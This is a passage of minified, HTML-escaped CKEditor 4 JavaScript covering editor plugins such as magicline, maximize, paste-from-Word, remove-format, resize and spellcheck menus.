!b.is(U)});if(!b)return!1;r(a,b);return c?b.size.top&gt;a.mouse.y:b.size.bottom&lt;a.mouse.y}function y(a){var b=a.editable,c=a.mouse,d=a.view,f=a.triggerOffset;w(a);var h=c.y&gt;(a.inInlineMode?d.editable.top+d.editable.height/2:Math.min(d.editable.height,d.pane.height)/2),b=b[h?&quot;getLast&quot;:&quot;getFirst&quot;](function(a){return!(Z(a)||X(a))});if(!b)return null;g(a,b)&amp;&amp;(b=a.line.wrap[h?&quot;getPrevious&quot;:&quot;getNext&quot;](function(a){return!(Z(a)||X(a))}));if(!n(b)||v(b)||!q(a,b))return null;r(a,b);return!h&amp;&amp;0&lt;=b.size.top&amp;&amp;k(c.y,
0,b.size.top+f)?(a=a.inInlineMode||0===d.scroll.y?T:J,new e([null,b,N,P,a])):h&amp;&amp;b.size.bottom&lt;=d.pane.height&amp;&amp;k(c.y,b.size.bottom-f,d.pane.height)?(a=a.inInlineMode||k(b.size.bottom,d.pane.height-f,d.pane.height)?O:J,new e([b,null,H,P,a])):null}function A(a){var c=a.mouse,f=a.view,h=a.triggerOffset,g=b(a);if(!g)return null;r(a,g);var h=Math.min(h,0|g.size.outerHeight/2),l=[],m,u;if(k(c.y,g.size.top-1,g.size.top+h))u=!1;else if(k(c.y,g.size.bottom-h,g.size.bottom+1))u=!0;else return null;if(v(g)||
p(a,g,u)||g.getParent().is(W))return null;var t=d(a,g,!u);if(t){if(t&amp;&amp;t.type==CKEDITOR.NODE_TEXT)return null;if(n(t)){if(v(t)||!q(a,t)||t.getParent().is(W))return null;l=[t,g][u?&quot;reverse&quot;:&quot;concat&quot;]().concat([R,P])}}else g.equals(a.editable[u?&quot;getLast&quot;:&quot;getFirst&quot;](a.isRelevant))?(w(a),u&amp;&amp;k(c.y,g.size.bottom-h,f.pane.height)&amp;&amp;k(g.size.bottom,f.pane.height-h,f.pane.height)?m=O:k(c.y,0,g.size.top+h)&amp;&amp;(m=T)):m=J,l=[null,g][u?&quot;reverse&quot;:&quot;concat&quot;]().concat([u?H:N,P,m,g.equals(a.editable[u?&quot;getLast&quot;:&quot;getFirst&quot;](a.isRelevant))?
u?O:T:J]);return 0 in l?new e(l):null}function z(a,b,c,d){for(var f=b.getDocumentPosition(),e={},h={},g={},k={},l=ba.length;l--;)e[ba[l]]=parseInt(b.getComputedStyle.call(b,&quot;border-&quot;+ba[l]+&quot;-width&quot;),10)||0,g[ba[l]]=parseInt(b.getComputedStyle.call(b,&quot;padding-&quot;+ba[l]),10)||0,h[ba[l]]=parseInt(b.getComputedStyle.call(b,&quot;margin-&quot;+ba[l]),10)||0;c&amp;&amp;!d||C(a,d);k.top=f.y-(c?0:a.view.scroll.y);k.left=f.x-(c?0:a.view.scroll.x);k.outerWidth=b.$.offsetWidth;k.outerHeight=b.$.offsetHeight;k.height=k.outerHeight-
(g.top+g.bottom+e.top+e.bottom);k.width=k.outerWidth-(g.left+g.right+e.left+e.right);k.bottom=k.top+k.outerHeight;k.right=k.left+k.outerWidth;a.inInlineMode&amp;&amp;(k.scroll={top:b.$.scrollTop,left:b.$.scrollLeft});return B({border:e,padding:g,margin:h,ignoreScroll:c},k,!0)}function r(a,b,c){if(!n(b))return b.size=null;if(!b.size)b.size={};else if(b.size.ignoreScroll==c&amp;&amp;b.size.date&gt;new Date-S)return null;return B(b.size,z(a,b,c),{date:+new Date},!0)}function w(a,b){a.view.editable=z(a,a.editable,b,!0)}
function C(a,b){a.view||(a.view={});var c=a.view;if(!(!b&amp;&amp;c&amp;&amp;c.date&gt;new Date-S)){var d=a.win,c=d.getScrollPosition(),d=d.getViewPaneSize();B(a.view,{scroll:{x:c.x,y:c.y,width:a.doc.$.documentElement.scrollWidth-d.width,height:a.doc.$.documentElement.scrollHeight-d.height},pane:{width:d.width,height:d.height,bottom:d.height+c.y},date:+new Date},!0)}}function x(a,b,c,d){for(var f=d,h=d,g=0,k=!1,l=!1,m=a.view.pane.height,n=a.mouse;n.y+g&lt;m&amp;&amp;0&lt;n.y-g;){k||(k=b(f,d));l||(l=b(h,d));!k&amp;&amp;0&lt;n.y-g&amp;&amp;(f=c(a,{x:n.x,
y:n.y-g}));!l&amp;&amp;n.y+g&lt;m&amp;&amp;(h=c(a,{x:n.x,y:n.y+g}));if(k&amp;&amp;l)break;g+=2}return new e([f,h,null,null])}CKEDITOR.plugins.add(&quot;magicline&quot;,{init:function(a){var c=a.config,k=c.magicline_triggerOffset||30,m={editor:a,enterMode:c.enterMode,triggerOffset:k,holdDistance:0|k*(c.magicline_holdDistance||.5),boxColor:c.magicline_color||&quot;#ff0000&quot;,rtl:&quot;rtl&quot;==c.contentsLangDirection,tabuList:[&quot;data-cke-hidden-sel&quot;].concat(c.magicline_tabuList||[]),triggers:c.magicline_everywhere?M:{table:1,hr:1,div:1,ul:1,ol:1,dl:1,
form:1,blockquote:1}},q,p,r;m.isRelevant=function(a){return n(a)&amp;&amp;!g(m,a)&amp;&amp;!v(a)};a.on(&quot;contentDom&quot;,function(){var k=a.editable(),n=a.document,v=a.window;B(m,{editable:k,inInlineMode:k.isInline(),doc:n,win:v,hotNode:null},!0);m.boundary=m.inInlineMode?m.editable:m.doc.getDocumentElement();k.is(G.$inline)||(m.inInlineMode&amp;&amp;!u(k)&amp;&amp;k.setStyles({position:&quot;relative&quot;,top:null,left:null}),f.call(this,m),C(m),k.attachListener(a,&quot;beforeUndoImage&quot;,function(){m.line.detach()}),k.attachListener(a,&quot;beforeGetData&quot;,
function(){m.line.wrap.getParent()&amp;&amp;(m.line.detach(),a.once(&quot;getData&quot;,function(){m.line.attach()},null,null,1E3))},null,null,0),k.attachListener(m.inInlineMode?n:n.getWindow().getFrame(),&quot;mouseout&quot;,function(b){if(&quot;wysiwyg&quot;==a.mode)if(m.inInlineMode){var c=b.data.$.clientX;b=b.data.$.clientY;C(m);w(m,!0);var d=m.view.editable,f=m.view.scroll;c&gt;d.left-f.x&amp;&amp;c&lt;d.right-f.x&amp;&amp;b&gt;d.top-f.y&amp;&amp;b&lt;d.bottom-f.y||(clearTimeout(r),r=null,m.line.detach())}else clearTimeout(r),r=null,m.line.detach()}),k.attachListener(k,
&quot;keyup&quot;,function(){m.hiddenMode=0}),k.attachListener(k,&quot;keydown&quot;,function(b){if(&quot;wysiwyg&quot;==a.mode)switch(b.data.getKeystroke()){case 2228240:case 16:m.hiddenMode=1,m.line.detach()}}),k.attachListener(m.inInlineMode?k:n,&quot;mousemove&quot;,function(b){p=!0;if(&quot;wysiwyg&quot;==a.mode&amp;&amp;!a.readOnly&amp;&amp;!r){var c={x:b.data.$.clientX,y:b.data.$.clientY};r=setTimeout(function(){m.mouse=c;r=m.trigger=null;C(m);p&amp;&amp;!m.hiddenMode&amp;&amp;a.focusManager.hasFocus&amp;&amp;!m.line.mouseNear()&amp;&amp;(m.element=da(m,!0))&amp;&amp;((m.trigger=y(m)||A(m)||ga(m))&amp;&amp;
!t(m,m.trigger.upper||m.trigger.lower)?m.line.attach().place():(m.trigger=null,m.line.detach()),p=!1)},30)}}),k.attachListener(v,&quot;scroll&quot;,function(){&quot;wysiwyg&quot;==a.mode&amp;&amp;(m.line.detach(),E.webkit&amp;&amp;(m.hiddenMode=1,clearTimeout(q),q=setTimeout(function(){m.mouseDown||(m.hiddenMode=0)},50)))}),k.attachListener(I?n:v,&quot;mousedown&quot;,function(){&quot;wysiwyg&quot;==a.mode&amp;&amp;(m.line.detach(),m.hiddenMode=1,m.mouseDown=1)}),k.attachListener(I?n:v,&quot;mouseup&quot;,function(){m.hiddenMode=0;m.mouseDown=0}),a.addCommand(&quot;accessPreviousSpace&quot;,
l(m)),a.addCommand(&quot;accessNextSpace&quot;,l(m,!0)),a.setKeystroke([[c.magicline_keystrokePrevious,&quot;accessPreviousSpace&quot;],[c.magicline_keystrokeNext,&quot;accessNextSpace&quot;]]),a.on(&quot;loadSnapshot&quot;,function(){var b,c,d,f;for(f in{p:1,br:1,div:1})for(b=a.document.getElementsByTag(f),d=b.count();d--;)if((c=b.getItem(d)).data(&quot;cke-magicline-hot&quot;)){m.hotNode=c;m.lastCmdDirection=&quot;true&quot;===c.data(&quot;cke-magicline-dir&quot;)?!0:!1;return}}),this.backdoor={accessFocusSpace:h,boxTrigger:e,isLine:g,getAscendantTrigger:b,getNonEmptyNeighbour:d,
getSize:z,that:m,triggerEdge:A,triggerEditable:y,triggerExpand:ga})},this)}});var B=CKEDITOR.tools.extend,D=CKEDITOR.dom.element,F=D.createFromHtml,E=CKEDITOR.env,I=CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version,G=CKEDITOR.dtd,L={},N=128,H=64,R=32,P=16,T=4,O=2,J=1,ca=&quot; &quot;,W=G.$listItem,U=G.$tableContent,K=B({},G.$nonEditable,G.$empty),M=G.$block,S=100,Q=&quot;width:0px;height:0px;padding:0px;margin:0px;display:block;z-index:9999;color:#fff;position:absolute;font-size: 0px;line-height:0px;&quot;,Y=Q+&quot;border-color:transparent;display:block;border-style:solid;&quot;,
V=&quot;\x3cspan\x3e&quot;+ca+&quot;\x3c/span\x3e&quot;;L[CKEDITOR.ENTER_BR]=&quot;br&quot;;L[CKEDITOR.ENTER_P]=&quot;p&quot;;L[CKEDITOR.ENTER_DIV]=&quot;div&quot;;e.prototype={set:function(a,b,c){this.properties=a+b+(c||J);return this},is:function(a){return(this.properties&amp;a)==a}};var da=function(){function a(b,c){var d=b.$.elementFromPoint(c.x,c.y);return d&amp;&amp;d.nodeType?new CKEDITOR.dom.element(d):null}return function(b,c,d){if(!b.mouse)return null;var f=b.doc,e=b.line.wrap;d=d||b.mouse;var h=a(f,d);c&amp;&amp;g(b,h)&amp;&amp;(e.hide(),h=a(f,d),e.show());return!h||
h.type!=CKEDITOR.NODE_ELEMENT||!h.$||E.ie&amp;&amp;9&gt;E.version&amp;&amp;!b.boundary.equals(h)&amp;&amp;!b.boundary.contains(h)?null:h}}(),Z=CKEDITOR.dom.walker.whitespaces(),X=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_COMMENT),ga=function(){function b(f){var e=f.element,h,g,l;if(!n(e)||e.contains(f.editable)||e.isReadOnly())return null;l=x(f,function(a,b){return!b.equals(a)},function(a,b){return da(a,!0,b)},e);h=l.upper;g=l.lower;if(a(f,h,g))return l.set(R,8);if(h&amp;&amp;e.contains(h))for(;!h.getParent().equals(e);)h=h.getParent();
else h=e.getFirst(function(a){return d(f,a)});if(g&amp;&amp;e.contains(g))for(;!g.getParent().equals(e);)g=g.getParent();else g=e.getLast(function(a){return d(f,a)});if(!h||!g)return null;r(f,h);r(f,g);if(!k(f.mouse.y,h.size.top,g.size.bottom))return null;for(var e=Number.MAX_VALUE,m,q,u,p;g&amp;&amp;!g.equals(h)&amp;&amp;(q=h.getNext(f.isRelevant));)m=Math.abs(c(f,h,q)-f.mouse.y),m&lt;e&amp;&amp;(e=m,u=h,p=q),h=q,r(f,h);if(!u||!p||!k(f.mouse.y,u.size.top,p.size.bottom))return null;l.upper=u;l.lower=p;return l.set(R,8)}function d(a,
b){return!(b&amp;&amp;b.type==CKEDITOR.NODE_TEXT||X(b)||v(b)||g(a,b)||b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.$&amp;&amp;b.is(&quot;br&quot;))}return function(c){var d=b(c),f;if(f=d){f=d.upper;var e=d.lower;f=!f||!e||v(e)||v(f)||e.equals(f)||f.equals(e)||e.contains(f)||f.contains(e)?!1:q(c,f)&amp;&amp;q(c,e)&amp;&amp;a(c,f,e)?!0:!1}return f?d:null}}(),ba=[&quot;top&quot;,&quot;left&quot;,&quot;right&quot;,&quot;bottom&quot;]}(),CKEDITOR.config.magicline_keystrokePrevious=CKEDITOR.CTRL+CKEDITOR.SHIFT+51,CKEDITOR.config.magicline_keystrokeNext=CKEDITOR.CTRL+CKEDITOR.SHIFT+52,function(){function a(a){if(!a||
a.type!=CKEDITOR.NODE_ELEMENT||&quot;form&quot;!=a.getName())return[];for(var b=[],c=[&quot;style&quot;,&quot;className&quot;],d=0;d&lt;c.length;d++){var e=a.$.elements.namedItem(c[d]);e&amp;&amp;(e=new CKEDITOR.dom.element(e),b.push([e,e.nextSibling]),e.remove())}return b}function e(a,b){if(a&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;form&quot;==a.getName()&amp;&amp;0&lt;b.length)for(var c=b.length-1;0&lt;=c;c--){var d=b[c][0],e=b[c][1];e?d.insertBefore(e):d.appendTo(a)}}function b(b,c){var d=a(b),h={},l=b.$;c||(h[&quot;class&quot;]=l.className||&quot;&quot;,l.className=&quot;&quot;);h.inline=
l.style.cssText||&quot;&quot;;c||(l.style.cssText=&quot;position: static; overflow: visible&quot;);e(d);return h}function c(b,c){var d=a(b),h=b.$;&quot;class&quot;in c&amp;&amp;(h.className=c[&quot;class&quot;]);&quot;inline&quot;in c&amp;&amp;(h.style.cssText=c.inline);e(d)}function d(a){if(!a.editable().isInline()){var b=CKEDITOR.instances,c;for(c in b){var d=b[c];&quot;wysiwyg&quot;!=d.mode||d.readOnly||(d=d.document.getBody(),d.setAttribute(&quot;contentEditable&quot;,!1),d.setAttribute(&quot;contentEditable&quot;,!0))}a.editable().hasFocus&amp;&amp;(a.toolbox.focus(),a.focus())}}CKEDITOR.plugins.add(&quot;maximize&quot;,
{init:function(a){function e(){var b=l.getViewPaneSize();a.resize(b.width,b.height,null,!0)}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var f=a.lang,h=CKEDITOR.document,l=h.getWindow(),g,n,v,u=CKEDITOR.TRISTATE_OFF;a.addCommand(&quot;maximize&quot;,{modes:{wysiwyg:!CKEDITOR.env.iOS,source:!CKEDITOR.env.iOS},readOnly:1,editorFocus:!1,exec:function(){var q=a.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasClass(&quot;cke_inner&quot;)}),t=a.ui.space(&quot;contents&quot;);if(&quot;wysiwyg&quot;==a.mode){var p=
a.getSelection();g=p&amp;&amp;p.getRanges();n=l.getScrollPosition()}else{var y=a.editable().$;g=!CKEDITOR.env.ie&amp;&amp;[y.selectionStart,y.selectionEnd];n=[y.scrollLeft,y.scrollTop]}if(this.state==CKEDITOR.TRISTATE_OFF){l.on(&quot;resize&quot;,e);v=l.getScrollPosition();for(p=a.container;p=p.getParent();)p.setCustomData(&quot;maximize_saved_styles&quot;,b(p)),p.setStyle(&quot;z-index&quot;,a.config.baseFloatZIndex-5);t.setCustomData(&quot;maximize_saved_styles&quot;,b(t,!0));q.setCustomData(&quot;maximize_saved_styles&quot;,b(q,!0));t={overflow:CKEDITOR.env.webkit?
&quot;&quot;:&quot;hidden&quot;,width:0,height:0};h.getDocumentElement().setStyles(t);!CKEDITOR.env.gecko&amp;&amp;h.getDocumentElement().setStyle(&quot;position&quot;,&quot;fixed&quot;);CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.quirks||h.getBody().setStyles(t);CKEDITOR.env.ie?setTimeout(function(){l.$.scrollTo(0,0)},0):l.$.scrollTo(0,0);q.setStyle(&quot;position&quot;,CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.quirks?&quot;fixed&quot;:&quot;absolute&quot;);q.$.offsetLeft;q.setStyles({&quot;z-index&quot;:a.config.baseFloatZIndex-5,left:&quot;0px&quot;,top:&quot;0px&quot;});q.addClass(&quot;cke_maximized&quot;);e();t=q.getDocumentPosition();
q.setStyles({left:-1*t.x+&quot;px&quot;,top:-1*t.y+&quot;px&quot;});CKEDITOR.env.gecko&amp;&amp;d(a)}else if(this.state==CKEDITOR.TRISTATE_ON){l.removeListener(&quot;resize&quot;,e);for(var p=[t,q],A=0;A&lt;p.length;A++)c(p[A],p[A].getCustomData(&quot;maximize_saved_styles&quot;)),p[A].removeCustomData(&quot;maximize_saved_styles&quot;);for(p=a.container;p=p.getParent();)c(p,p.getCustomData(&quot;maximize_saved_styles&quot;)),p.removeCustomData(&quot;maximize_saved_styles&quot;);CKEDITOR.env.ie?setTimeout(function(){l.$.scrollTo(v.x,v.y)},0):l.$.scrollTo(v.x,v.y);q.removeClass(&quot;cke_maximized&quot;);
CKEDITOR.env.webkit&amp;&amp;(q.setStyle(&quot;display&quot;,&quot;inline&quot;),setTimeout(function(){q.setStyle(&quot;display&quot;,&quot;block&quot;)},0));a.fire(&quot;resize&quot;,{outerHeight:a.container.$.offsetHeight,contentsHeight:t.$.offsetHeight,outerWidth:a.container.$.offsetWidth})}this.toggleState();if(p=this.uiItems[0])t=this.state==CKEDITOR.TRISTATE_OFF?f.maximize.maximize:f.maximize.minimize,p=CKEDITOR.document.getById(p._.id),p.getChild(1).setHtml(t),p.setAttribute(&quot;title&quot;,t),p.setAttribute(&quot;href&quot;,&#039;javascript:void(&quot;&#039;+t+&#039;&quot;);&#039;);&quot;wysiwyg&quot;==
a.mode?g?(CKEDITOR.env.gecko&amp;&amp;d(a),a.getSelection().selectRanges(g),(y=a.getSelection().getStartElement())&amp;&amp;y.scrollIntoView(!0)):l.$.scrollTo(n.x,n.y):(g&amp;&amp;(y.selectionStart=g[0],y.selectionEnd=g[1]),y.scrollLeft=n[0],y.scrollTop=n[1]);g=n=null;u=this.state;a.fire(&quot;maximize&quot;,this.state)},canUndo:!1});a.ui.addButton&amp;&amp;a.ui.addButton(&quot;Maximize&quot;,{label:f.maximize.maximize,command:&quot;maximize&quot;,toolbar:&quot;tools,10&quot;});a.on(&quot;mode&quot;,function(){var b=a.getCommand(&quot;maximize&quot;);b.setState(b.state==CKEDITOR.TRISTATE_DISABLED?
CKEDITOR.TRISTATE_DISABLED:u)},null,null,100)}}})}(),function(){function a(a,c,d){var e=CKEDITOR.cleanWord;e?d():(a=CKEDITOR.getUrl(a.config.pasteFromWordCleanupFile||c+&quot;filter/default.js&quot;),CKEDITOR.scriptLoader.load(a,d,null,!0));return!e}function e(a){a.data.type=&quot;html&quot;}CKEDITOR.plugins.add(&quot;pastefromword&quot;,{requires:&quot;clipboard&quot;,init:function(b){var c=0,d=this.path;b.addCommand(&quot;pastefromword&quot;,{canUndo:!1,async:!0,exec:function(a){var b=this;c=1;a.once(&quot;beforePaste&quot;,e);a.getClipboardData({title:a.lang.pastefromword.title},
function(c){c&amp;&amp;a.fire(&quot;paste&quot;,{type:&quot;html&quot;,dataValue:c.dataValue,method:&quot;paste&quot;,dataTransfer:CKEDITOR.plugins.clipboard.initPasteDataTransfer()});a.fire(&quot;afterCommandExec&quot;,{name:&quot;pastefromword&quot;,command:b,returnValue:!!c})})}});b.ui.addButton&amp;&amp;b.ui.addButton(&quot;PasteFromWord&quot;,{label:b.lang.pastefromword.toolbar,command:&quot;pastefromword&quot;,toolbar:&quot;clipboard,50&quot;});b.on(&quot;pasteState&quot;,function(a){b.getCommand(&quot;pastefromword&quot;).setState(a.data)});b.on(&quot;paste&quot;,function(e){var m=e.data,f=m.dataValue;if(f&amp;&amp;(c||/(class=\&quot;?Mso|style=\&quot;[^\&quot;]*\bmso\-|w:WordDocument)/.test(f))){m.dontFilter=
!0;var h=a(b,d,function(){if(h)b.fire(&quot;paste&quot;,m);else if(!b.config.pasteFromWordPromptCleanup||c||confirm(b.lang.pastefromword.confirmCleanup))m.dataValue=CKEDITOR.cleanWord(f,b);c=0});h&amp;&amp;e.cancel()}},null,null,3)}})}(),function(){var a={canUndo:!1,async:!0,exec:function(e){e.getClipboardData({title:e.lang.pastetext.title},function(b){b&amp;&amp;e.fire(&quot;paste&quot;,{type:&quot;text&quot;,dataValue:b.dataValue,method:&quot;paste&quot;,dataTransfer:CKEDITOR.plugins.clipboard.initPasteDataTransfer()});e.fire(&quot;afterCommandExec&quot;,{name:&quot;pastetext&quot;,
command:a,returnValue:!!b})})}};CKEDITOR.plugins.add(&quot;pastetext&quot;,{requires:&quot;clipboard&quot;,init:function(e){e.addCommand(&quot;pastetext&quot;,a);e.ui.addButton&amp;&amp;e.ui.addButton(&quot;PasteText&quot;,{label:e.lang.pastetext.button,command:&quot;pastetext&quot;,toolbar:&quot;clipboard,40&quot;});if(e.config.forcePasteAsPlainText)e.on(&quot;beforePaste&quot;,function(a){&quot;html&quot;!=a.data.type&amp;&amp;(a.data.type=&quot;text&quot;)});e.on(&quot;pasteState&quot;,function(a){e.getCommand(&quot;pastetext&quot;).setState(a.data)})}})}(),CKEDITOR.plugins.add(&quot;removeformat&quot;,{init:function(a){a.addCommand(&quot;removeFormat&quot;,
CKEDITOR.plugins.removeformat.commands.removeformat);a.ui.addButton&amp;&amp;a.ui.addButton(&quot;RemoveFormat&quot;,{label:a.lang.removeformat.toolbar,command:&quot;removeFormat&quot;,toolbar:&quot;cleanup,10&quot;})}}),CKEDITOR.plugins.removeformat={commands:{removeformat:{exec:function(a){for(var e=a._.removeFormatRegex||(a._.removeFormatRegex=new RegExp(&quot;^(?:&quot;+a.config.removeFormatTags.replace(/,/g,&quot;|&quot;)+&quot;)$&quot;,&quot;i&quot;)),b=a._.removeAttributes||(a._.removeAttributes=a.config.removeFormatAttributes.split(&quot;,&quot;)),c=CKEDITOR.plugins.removeformat.filter,
d=a.getSelection().getRanges(),k=d.createIterator(),m=function(a){return a.type==CKEDITOR.NODE_ELEMENT},f;f=k.getNextRange();){f.collapsed||f.enlarge(CKEDITOR.ENLARGE_ELEMENT);var h=f.createBookmark(),l=h.startNode,g=h.endNode,n=function(b){for(var d=a.elementPath(b),f=d.elements,h=1,g;(g=f[h])&amp;&amp;!g.equals(d.block)&amp;&amp;!g.equals(d.blockLimit);h++)e.test(g.getName())&amp;&amp;c(a,g)&amp;&amp;b.breakParent(g)};n(l);if(g)for(n(g),l=l.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT);l&amp;&amp;!l.equals(g);)if(l.isReadOnly()){if(l.getPosition(g)&amp;
CKEDITOR.POSITION_CONTAINS)break;l=l.getNext(m)}else n=l.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT),&quot;img&quot;==l.getName()&amp;&amp;l.data(&quot;cke-realelement&quot;)||!c(a,l)||(e.test(l.getName())?l.remove(1):(l.removeAttributes(b),a.fire(&quot;removeFormatCleanup&quot;,l))),l=n;f.moveToBookmark(h)}a.forceNextSelectionCheck();a.getSelection().selectRanges(d)}}},filter:function(a,e){for(var b=a._.removeFormatFilters||[],c=0;c&lt;b.length;c++)if(!1===b[c](e))return!1;return!0}},CKEDITOR.editor.prototype.addRemoveFormatFilter=function(a){this._.removeFormatFilters||
(this._.removeFormatFilters=[]);this._.removeFormatFilters.push(a)},CKEDITOR.config.removeFormatTags=&quot;b,big,cite,code,del,dfn,em,font,i,ins,kbd,q,s,samp,small,span,strike,strong,sub,sup,tt,u,var&quot;,CKEDITOR.config.removeFormatAttributes=&quot;class,style,lang,width,height,align,hspace,valign&quot;,CKEDITOR.plugins.add(&quot;resize&quot;,{init:function(a){function e(b){var d=h.width,e=h.height,m=d+(b.data.$.screenX-f.x)*(&quot;rtl&quot;==k?-1:1);b=e+(b.data.$.screenY-f.y);l&amp;&amp;(d=Math.max(c.resize_minWidth,Math.min(m,c.resize_maxWidth)));
g&amp;&amp;(e=Math.max(c.resize_minHeight,Math.min(b,c.resize_maxHeight)));a.resize(l?d:null,e)}function b(){CKEDITOR.document.removeListener(&quot;mousemove&quot;,e);CKEDITOR.document.removeListener(&quot;mouseup&quot;,b);a.document&amp;&amp;(a.document.removeListener(&quot;mousemove&quot;,e),a.document.removeListener(&quot;mouseup&quot;,b))}var c=a.config,d=a.ui.spaceId(&quot;resizer&quot;),k=a.element?a.element.getDirection(1):&quot;ltr&quot;;!c.resize_dir&amp;&amp;(c.resize_dir=&quot;vertical&quot;);void 0===c.resize_maxWidth&amp;&amp;(c.resize_maxWidth=3E3);void 0===c.resize_maxHeight&amp;&amp;(c.resize_maxHeight=
3E3);void 0===c.resize_minWidth&amp;&amp;(c.resize_minWidth=750);void 0===c.resize_minHeight&amp;&amp;(c.resize_minHeight=250);if(!1!==c.resize_enabled){var m=null,f,h,l=(&quot;both&quot;==c.resize_dir||&quot;horizontal&quot;==c.resize_dir)&amp;&amp;c.resize_minWidth!=c.resize_maxWidth,g=(&quot;both&quot;==c.resize_dir||&quot;vertical&quot;==c.resize_dir)&amp;&amp;c.resize_minHeight!=c.resize_maxHeight,n=CKEDITOR.tools.addFunction(function(d){m||(m=a.getResizable());h={width:m.$.offsetWidth||0,height:m.$.offsetHeight||0};f={x:d.screenX,y:d.screenY};c.resize_minWidth&gt;
h.width&amp;&amp;(c.resize_minWidth=h.width);c.resize_minHeight&gt;h.height&amp;&amp;(c.resize_minHeight=h.height);CKEDITOR.document.on(&quot;mousemove&quot;,e);CKEDITOR.document.on(&quot;mouseup&quot;,b);a.document&amp;&amp;(a.document.on(&quot;mousemove&quot;,e),a.document.on(&quot;mouseup&quot;,b));d.preventDefault&amp;&amp;d.preventDefault()});a.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(n)});a.on(&quot;uiSpace&quot;,function(b){if(&quot;bottom&quot;==b.data.space){var c=&quot;&quot;;l&amp;&amp;!g&amp;&amp;(c=&quot; cke_resizer_horizontal&quot;);!l&amp;&amp;g&amp;&amp;(c=&quot; cke_resizer_vertical&quot;);var f=&#039;\x3cspan id\x3d&quot;&#039;+d+&#039;&quot; class\x3d&quot;cke_resizer&#039;+
c+&quot; cke_resizer_&quot;+k+&#039;&quot; title\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(a.lang.common.resize)+&#039;&quot; onmousedown\x3d&quot;CKEDITOR.tools.callFunction(&#039;+n+&#039;, event)&quot;\x3e&#039;+(&quot;ltr&quot;==k?&quot;◢&quot;:&quot;◣&quot;)+&quot;\x3c/span\x3e&quot;;&quot;ltr&quot;==k&amp;&amp;&quot;ltr&quot;==c?b.data.html+=f:b.data.html=f+b.data.html}},a,null,100);a.on(&quot;maximize&quot;,function(b){a.ui.space(&quot;resizer&quot;)[b.data==CKEDITOR.TRISTATE_ON?&quot;hide&quot;:&quot;show&quot;]()})}}}),CKEDITOR.plugins.add(&quot;menubutton&quot;,{requires:&quot;button,menu&quot;,onLoad:function(){var a=function(a){var b=this._,c=b.menu;b.state!==CKEDITOR.TRISTATE_DISABLED&amp;&amp;
(b.on&amp;&amp;c?c.hide():(b.previousState=b.state,c||(c=b.menu=new CKEDITOR.menu(a,{panel:{className:&quot;cke_menu_panel&quot;,attributes:{&quot;aria-label&quot;:a.lang.common.options}}}),c.onHide=CKEDITOR.tools.bind(function(){var c=this.command?a.getCommand(this.command).modes:this.modes;this.setState(!c||c[a.mode]?b.previousState:CKEDITOR.TRISTATE_DISABLED);b.on=0},this),this.onMenu&amp;&amp;c.addListener(this.onMenu)),this.setState(CKEDITOR.TRISTATE_ON),b.on=1,setTimeout(function(){c.show(CKEDITOR.document.getById(b.id),4)},0)))};
CKEDITOR.ui.menuButton=CKEDITOR.tools.createClass({base:CKEDITOR.ui.button,$:function(e){delete e.panel;this.base(e);this.hasArrow=!0;this.click=a},statics:{handler:{create:function(a){return new CKEDITOR.ui.menuButton(a)}}}})},beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_MENUBUTTON,CKEDITOR.ui.menuButton.handler)}}),CKEDITOR.UI_MENUBUTTON=&quot;menubutton&quot;,&quot;use strict&quot;,CKEDITOR.plugins.add(&quot;scayt&quot;,{requires:&quot;menubutton,dialog&quot;,tabToOpen:null,dialogName:&quot;scaytDialog&quot;,init:function(a){var e=this,
b=CKEDITOR.plugins.scayt;this.bindEvents(a);this.parseConfig(a);this.addRule(a);CKEDITOR.dialog.add(this.dialogName,CKEDITOR.getUrl(this.path+&quot;dialogs/options.js&quot;));this.addMenuItems(a);var c=a.lang.scayt,d=CKEDITOR.env;a.ui.add(&quot;Scayt&quot;,CKEDITOR.UI_MENUBUTTON,{label:c.text_title,title:a.plugins.wsc?a.lang.wsc.title:c.text_title,modes:{wysiwyg:!(d.ie&amp;&amp;(8&gt;d.version||d.quirks))},toolbar:&quot;spellchecker,20&quot;,refresh:function(){var c=a.ui.instances.Scayt.getState();a.scayt&amp;&amp;(c=b.state.scayt[a.name]?CKEDITOR.TRISTATE_ON:
CKEDITOR.TRISTATE_OFF);a.fire(&quot;scaytButtonState&quot;,c)},onRender:function(){var b=this;a.on(&quot;scaytButtonState&quot;,function(a){void 0!==typeof a.data&amp;&amp;b.setState(a.data)})},onMenu:function(){var c=a.scayt;a.getMenuItem(&quot;scaytToggle&quot;).label=a.lang.scayt[c&amp;&amp;b.state.scayt[a.name]?&quot;btn_disable&quot;:&quot;btn_enable&quot;];c={scaytToggle:CKEDITOR.TRISTATE_OFF,scaytOptions:c?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytLangs:c?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,scaytDict:c?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,
scaytAbout:c?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,WSC:a.plugins.wsc?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED};a.config.scayt_uiTabs[0]||delete c.scaytOptions;a.config.scayt_uiTabs[1]||delete c.scaytLangs;a.config.scayt_uiTabs[2]||delete c.scaytDict;return c}});a.contextMenu&amp;&amp;a.addMenuItems&amp;&amp;(a.contextMenu.addListener(function(b,c){var d=a.scayt,h,l;d&amp;&amp;(l=d.getSelectionNode())&amp;&amp;(h=e.menuGenerator(a,l),d.showBanner(&quot;.&quot;+a.contextMenu._.definition.panel.className.split(&quot; &quot;).join(&quot; .&quot;)));
